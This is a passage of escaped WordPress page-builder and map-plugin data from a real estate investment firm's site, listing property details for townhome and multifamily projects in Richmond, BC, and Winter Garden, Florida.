src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_3.jpg\" alt=\"Screenshot_3\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_2.jpg\" alt=\"Screenshot_2\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][\/et_pb_column][\/et_pb_row][\/et_pb_section][et_pb_section fb_built=\"1\" admin_label=\"section-location-main-v2\" module_class=\"section-location-main-v2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_row module_class=\"row-header\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_post_title author=\"off\" date=\"off\" comments=\"off\" featured_image=\"off\" _builder_version=\"4.9.0\" _module_preset=\"default\"][\/et_pb_post_title][et_pb_text admin_label=\"Text - Subtitle\" _builder_version=\"4.9.0\" _module_preset=\"default\"]Richmond, British Columbia[\/et_pb_text][\/et_pb_column][\/et_pb_row][et_pb_row column_structure=\"1_6,1_6,1_6,1_6,1_6,1_6\" use_custom_gutter=\"on\" gutter_width=\"1\" module_class=\"row-location-info\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Minimum\" _builder_version=\"4.9.0\" background_enable_color=\"off\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Minimum<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]-[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Distributions\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Distributions <\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]-[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Annualized Returns\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Annualized Returns<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]-[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Target Hold\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Target Hold<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]-[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Property Type\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Property Type<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]Ground-up Development[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Asset Class \" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Asset Class<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]Class A[\/et_pb_text][\/et_pb_column][\/et_pb_row][et_pb_row column_structure=\"1_2,1_2\" use_custom_gutter=\"on\" gutter_width=\"3\" module_class=\"row-overview\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"1_2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Overview\" _builder_version=\"4.9.0\" _module_preset=\"default\"]<h3>Overview<\/h3>n<p>19 TownHome development located in the family oriented central location of Richmond, a suburb of Vancouver. Projected completion is early 2023. The project is pre-selling in 2021.<\/p>[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Invested\" module_class=\"invested-module\" _builder_version=\"4.9.0\" _module_preset=\"default\"]100% <span>Invested<\/span>[\/et_pb_text][et_pb_text admin_label=\"Equity\" module_class=\"equity-module\" _builder_version=\"4.9.0\" _module_preset=\"default\"]$5,600,000 <span>Equity<\/span>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section][et_pb_section fb_built=\"1\" module_class=\"section-location-map\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_row _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Map\" _builder_version=\"4.9.0\" _module_preset=\"default\"][put_wpgm id=7 current_post_only=true][\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section][et_pb_section fb_built=\"1\" admin_label=\"Section Become an Investor\" module_class=\"section-become-an-investor\" _builder_version=\"4.9.0\" _module_preset=\"default\" background_color=\"#16193a\" background_image=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/02\/bottom-section-bg.png\" locked=\"off\"][et_pb_row _builder_version=\"4.8.2\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.8.2\" _module_preset=\"default\"][et_pb_text admin_label=\"Subscribe\" _builder_version=\"4.9.0\" _module_preset=\"default\" text_orientation=\"center\" background_layout=\"dark\"]<h5>CPI Capital helps busy professionals to earn <span>passive income<\/span> through real estate investing so they could have more time <span>freedom<\/span> to live a more <span>abundant life<\/span>.<\/h5>[\/et_pb_text][et_pb_button button_url=\"https:\/\/cpicapital.cpicapital.ca\/website?__hstc=230844480.4d57ee93d97208f67ef855cbb1d2b53d.1633341719967.1633410514045.1633419575663.4&__hssc=230844480.25.1633419575663&__hsfp=3601630007\" url_new_window=\"on\" button_text=\"become an investor\" button_alignment=\"center\" module_class=\"dark-bg\" _builder_version=\"4.9.0\" _module_preset=\"default\" background_layout=\"dark\"][\/et_pb_button][\/et_pb_column][\/et_pb_row][\/et_pb_section][et_pb_section fb_built=\"1\" disabled_on=\"on|on|on\" admin_label=\"Section OLD\" module_class=\"section-location-main\" _builder_version=\"4.9.0\" disabled=\"on\" collapsed=\"on\"][et_pb_row column_structure=\"2_3,1_3\" module_class=\"row-header\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"2_3\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_post_title author=\"off\" date=\"off\" comments=\"off\" featured_image=\"off\" _builder_version=\"4.9.0\" _module_preset=\"default\"][\/et_pb_post_title][\/et_pb_column][et_pb_column type=\"1_3\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/02\/bakerson.png\" title_text=\"bakerson\" align=\"right\" _builder_version=\"4.9.0\" _module_preset=\"default\"][\/et_pb_image][\/et_pb_column][\/et_pb_row][et_pb_row column_structure=\"1_4,1_4,1_4,1_4\" use_custom_gutter=\"on\" gutter_width=\"1\" module_class=\"row-location-info\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"][et_pb_column type=\"1_4\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Address\" _builder_version=\"4.9.0\" background_enable_color=\"off\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Address<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]1725 W Vogel Ave, Phoenix, AZ&nbsp;85021[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_4\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Status\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Status<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]Sold[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_4\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Date Purchased\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Date Purchased<\/h6>[\/et_pb_text][et_pb_post_title title=\"off\" author=\"off\" date_format=\"m\/j\/Y\" categories=\"off\" comments=\"off\" featured_image=\"off\" admin_label=\"Date\" _builder_version=\"4.9.0\" _module_preset=\"default\"][\/et_pb_post_title][\/et_pb_column][et_pb_column type=\"1_4\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Unit Count\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Unit Count<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]16 units[\/et_pb_text][\/et_pb_column][\/et_pb_row][et_pb_row column_structure=\"1_2,1_2\" use_custom_gutter=\"on\" gutter_width=\"3\" module_class=\"row-overview\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"1_2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Overview\" _builder_version=\"4.9.0\" _module_preset=\"default\"]<h3>Overview<\/h3>n<p>Mountain Springs was purchased from an owner who self-managed. This property was acquired with low in place rents, and problematic financials which made it hard to secure permanent financing. The property received complete unit turns and we were able to increase the rents to market. Many of the rents were $100-200 below market. The exterior of the property had a landscaping overhaul which increased the curb appeal.<\/p>[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Key Details\" _builder_version=\"4.9.0\" _module_preset=\"default\"]<h3>Key Details<\/h3>n<table>n<tbody>n<tr>n<td>Ownership<\/td>n<td><span>10%<\/span> equity<\/td>n<\/tr>n<tr>n<td>Site Size<\/td>n<td><span>1.2<\/span> Acres<\/td>n<\/tr>n<tr>n<td>Year built<\/td>n<td>2001<\/td>n<\/tr>n<tr>n<td>Date Sold<\/td>n<td>12\/15\/2017<\/td>n<\/tr>n<tr>n<td>Value Add<\/td>n<td>Interior unit turns, Landscaping<\/td>n<\/tr>n<\/tbody>n<\/table>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]\",\"post_title\":\"Kadium No4 Road TownHomes\",\"post_link\":\"https:\/\/www.cpicapital.ca\/kadium-no4-road-townhomes\/\",\"post_featured_image\":\"<div class=\"fc-feature-img\"><img alt=\"BlueWater Apartment Homes\" width=\"300\" height=\"200\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-01-300x200.jpg\" class=\"wp-post-image   wpgmp_featured_image\" ><\/div>\",\"post_categories\":\"Multifamily\",\"post_tags\":\"\",\"%inline_featured_image%\":\"0\",\"%_wpgmp_location_address%\":\"10340 No 4 Rd, Richmond, BC V7A 3R9, Canada\",\"%_wpgmp_location_city%\":\"Richmond\",\"%_wpgmp_location_state%\":\"British Columbia\",\"%_wpgmp_location_country%\":\"Canada\",\"%_wpgmp_metabox_latitude%\":\"49.13664139999999\",\"%_wpgmp_metabox_longitude%\":\"-123.1139252\",\"%_wpgmp_metabox_location_redirect%\":\"marker\",\"%_wpgmp_metabox_custom_link%\":\"\",\"%_wpgmp_map_id%\":\"a:2:{i:0;s:1:\"1\";i:1;s:1:\"7\";}\",\"%_wpgmp_metabox_marker_id%\":\"N;\",\"%_wpgmp_metabox_taxomomies_terms%\":\"N;\",\"%_wpgmp_extensions_fields%\":\"N;\",\"%_et_post_bg_color%\":\"#ffffff\",\"%_et_post_bg_layout%\":\"light\",\"%_et_pb_show_title%\":\"off\",\"%_et_pb_post_hide_nav%\":\"default\",\"%_et_pb_page_layout%\":\"et_full_width_page\",\"%_et_pb_side_nav%\":\"off\",\"%_et_pb_use_builder%\":\"on\",\"%_et_pb_first_image%\":\"\",\"%_et_pb_truncate_post%\":\"\",\"%_et_pb_truncate_post_date%\":\"\",\"%_et_pb_old_content%\":\"Test Map Post  2\",\"%_thumbnail_id%\":\"10684\",\"%_et_pb_built_for_post_type%\":\"page\",\"%_et_pb_ab_subjects%\":\"\",\"%_et_pb_enable_shortcode_tracking%\":\"\",\"%_et_pb_ab_current_shortcode%\":\"[et_pb_split_track id=\"10786\" \/]\",\"%_et_pb_custom_css%\":\"\",\"%_et_pb_gutter_width%\":\"2\",\"%_global_colors_info%\":\"{}\",\"%_et_builder_version%\":\"VB|Divi|4.9.0\",\"%_et_pb_show_page_creation%\":\"off\",\"%_wp_old_slug%\":\"test-map-post-2\",\"%_dp_original%\":\"10722\",\"%_edit_last%\":\"1\",\"%_edit_lock%\":\"1634295203:1\",\"taxonomy=category\":\"Multifamily\",\"taxonomy=post_tag\":\"\",\"taxonomy=post_format\":\"\"},\"icon\":\"https:\/\/www.canadianpassiveinvesting.com\/wp-content\/uploads\/2021\/02\/map-current-location.png\"},\"id\":10786,\"custom_filters\":[],\"infowindow_disable\":false},{\"source\":\"post\",\"title\":\"Braxton Waterleigh\",\"infowindow_content\":\"<div class=\"post_body\">rn<div class=\"location-image\"><a target=\"_blank\" href=\"https:\/\/www.cpicapital.ca\/braxton-waterleigh\/\"><div class=\"fc-feature-img\"><img alt=\"Braxton Waterleigh\" width=\"300\" height=\"200\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-01-300x200.jpg\" class=\"wp-post-image   wpgmp_featured_image\" ><\/div><\/a><\/div>rn<div class=\"location-description\">rn<div class=\"location-title\"><a target=\"_blank\" href=\"https:\/\/www.cpicapital.ca\/braxton-waterleigh\/\">Braxton Waterleigh<\/a><\/div>rnrn<table class=\"address\" \"=\"\">rn<tbody><tr>rn<td><img src=\"\/wp-content\/uploads\/2021\/02\/location-description-pin.svg\"><\/td>rn<td>{marker_address}<\/td>rn<\/tr>rn<\/tbody><\/table>rn<div class=\"category\"><span>Multifamily<\/span><\/div>rn<\/div>rn<\/div>\",\"address\":\"10091 Tuller Loop, Winter Garden, FL 34787, USA\",\"location\":{\"lat\":\"28.4132117\",\"city\":\"Winter Garden\",\"state\":\"Florida\",\"country\":\"United States\",\"lng\":\"-81.6333645\",\"onclick_action\":\"marker\",\"redirect_permalink\":\"https:\/\/www.cpicapital.ca\/braxton-waterleigh\/\",\"zoom\":10,\"extra_fields\":{\"post_excerpt\":\"\",\"post_content\":\"[et_pb_section fb_built=\"1\" module_class=\"section-location-gallery\" _builder_version=\"4.9.0\" _module_preset=\"default\" background_color=\"#f6f9fc\"][et_pb_row module_class=\"post-carousel\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-01.jpg\" alt=\"Braxton Waterleigh\" title_text=\"Braxton Waterleigh\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-02.jpg\" alt=\"Braxton Waterleigh\" title_text=\"Braxton Waterleigh\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-03.jpg\" alt=\"Braxton Waterleigh\" title_text=\"Braxton Waterleigh\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-04.jpg\" alt=\"Braxton Waterleigh\" title_text=\"Braxton Waterleigh\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-05.jpg\" alt=\"Braxton Waterleigh\" title_text=\"Braxton Waterleigh\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-06.jpg\" alt=\"Braxton Waterleigh\" title_text=\"Braxton Waterleigh\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-07.jpg\" alt=\"Braxton Waterleigh\" title_text=\"Braxton Waterleigh\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-08.jpg\" alt=\"Braxton Waterleigh\" title_text=\"Braxton Waterleigh\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-09.jpg\" alt=\"Braxton Waterleigh\" title_text=\"Braxton Waterleigh\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-10.jpg\" alt=\"Braxton Waterleigh\" title_text=\"Braxton Waterleigh\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-11.jpg\" alt=\"Braxton Waterleigh\" title_text=\"Braxton Waterleigh\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-12.jpg\" alt=\"Braxton Waterleigh\" title_text=\"Braxton Waterleigh\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][\/et_pb_column][\/et_pb_row][\/et_pb_section][et_pb_section fb_built=\"1\" admin_label=\"section-location-main-v2\" module_class=\"section-location-main-v2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_row module_class=\"row-header\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_post_title author=\"off\" date=\"off\" comments=\"off\" featured_image=\"off\" _builder_version=\"4.9.0\" _module_preset=\"default\"][\/et_pb_post_title][et_pb_text admin_label=\"Text - Subtitle\" _builder_version=\"4.9.0\" _module_preset=\"default\" hover_enabled=\"0\" sticky_enabled=\"0\"]Horizon West, Florida[\/et_pb_text][\/et_pb_column][\/et_pb_row][et_pb_row column_structure=\"1_6,1_6,1_6,1_6,1_6,1_6\" use_custom_gutter=\"on\" gutter_width=\"1\" module_class=\"row-location-info\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Minimum\" _builder_version=\"4.9.0\" background_enable_color=\"off\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Minimum<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\" hover_enabled=\"0\" sticky_enabled=\"0\"]$25K[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Distributions\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Distributions <\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\" hover_enabled=\"0\" sticky_enabled=\"0\"]Monthly[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Annualized Returns\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Annualized Returns<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\" hover_enabled=\"0\" sticky_enabled=\"0\"]25.1%[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Target Hold\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Target Hold<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\" hover_enabled=\"0\" sticky_enabled=\"0\"]5 Years[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Property Type\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Property Type<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\" hover_enabled=\"0\" sticky_enabled=\"0\"]Multifamily[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Asset Class \" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Asset Class<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\" hover_enabled=\"0\" sticky_enabled=\"0\"]Class A[\/et_pb_text][\/et_pb_column][\/et_pb_row][et_pb_row column_structure=\"1_2,1_2\" use_custom_gutter=\"on\" gutter_width=\"3\" module_class=\"row-overview\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"1_2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Overview\" _builder_version=\"4.9.0\" _module_preset=\"default\" hover_enabled=\"0\" sticky_enabled=\"0\"]<h3>Overview<\/h3>n<p>This community is a 354-unit community completed in 2021, representing top-quality suburban living in a rapidly growing suburb of the Orlando MSA.<\/p>[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Invested\" module_class=\"invested-module\" _builder_version=\"4.9.0\" _module_preset=\"default\" hover_enabled=\"0\" sticky_enabled=\"0\"]100% <span>Invested<\/span>[\/et_pb_text][et_pb_text admin_label=\"Equity\" module_class=\"equity-module\" _builder_version=\"4.9.0\" _module_preset=\"default\" hover_enabled=\"0\" sticky_enabled=\"0\"]$32,000,000 <span>Equity<\/span>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section][et_pb_section fb_built=\"1\" module_class=\"section-location-map\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_row _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Map\" _builder_version=\"4.9.0\" _module_preset=\"default\"][put_wpgm id=7 current_post_only=true][\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section][et_pb_section fb_built=\"1\" admin_label=\"Section Become an Investor\" module_class=\"section-become-an-investor\" _builder_version=\"4.9.0\" _module_preset=\"default\" background_color=\"#16193a\" background_image=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/02\/bottom-section-bg.png\" locked=\"off\"][et_pb_row _builder_version=\"4.8.2\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.8.2\" _module_preset=\"default\"][et_pb_text admin_label=\"Subscribe\" _builder_version=\"4.9.0\" _module_preset=\"default\" text_orientation=\"center\" background_layout=\"dark\"]<h5>CPI Capital helps busy professionals to earn <span>passive income<\/span> through real estate investing so they could have more time <span>freedom<\/span> to live a more <span>abundant life<\/span>.<\/h5>[\/et_pb_text][et_pb_button button_url=\"https:\/\/cpicapital.cpicapital.ca\/website?__hstc=230844480.4d57ee93d97208f67ef855cbb1d2b53d.1633341719967.1633410514045.1633419575663.4&__hssc=230844480.25.1633419575663&__hsfp=3601630007\" url_new_window=\"on\" button_text=\"become an investor\" button_alignment=\"center\" module_class=\"dark-bg\" _builder_version=\"4.9.0\" _module_preset=\"default\" background_layout=\"dark\"][\/et_pb_button][\/et_pb_column][\/et_pb_row][\/et_pb_section][et_pb_section fb_built=\"1\" disabled_on=\"on|on|on\" module_class=\"section-location-main\" _builder_version=\"4.9.0\" disabled=\"on\"][et_pb_row column_structure=\"2_3,1_3\" module_class=\"row-header\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"2_3\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_post_title author=\"off\" date=\"off\" comments=\"off\" featured_image=\"off\" _builder_version=\"4.9.0\" _module_preset=\"default\"][\/et_pb_post_title][\/et_pb_column][et_pb_column type=\"1_3\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/02\/bakerson.png\" title_text=\"bakerson\" align=\"right\" _builder_version=\"4.9.0\" _module_preset=\"default\"][\/et_pb_image][\/et_pb_column][\/et_pb_row][et_pb_row column_structure=\"1_4,1_4,1_4,1_4\" use_custom_gutter=\"on\" gutter_width=\"1\" module_class=\"row-location-info\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"][et_pb_column type=\"1_4\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Address\" _builder_version=\"4.9.0\" background_enable_color=\"off\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Address<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]1725 W Vogel Ave, Phoenix, AZ&nbsp;85021[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_4\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Status\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Status<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]Sold[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_4\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Date Purchased\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Date Purchased<\/h6>[\/et_pb_text][et_pb_post_title title=\"off\" author=\"off\" 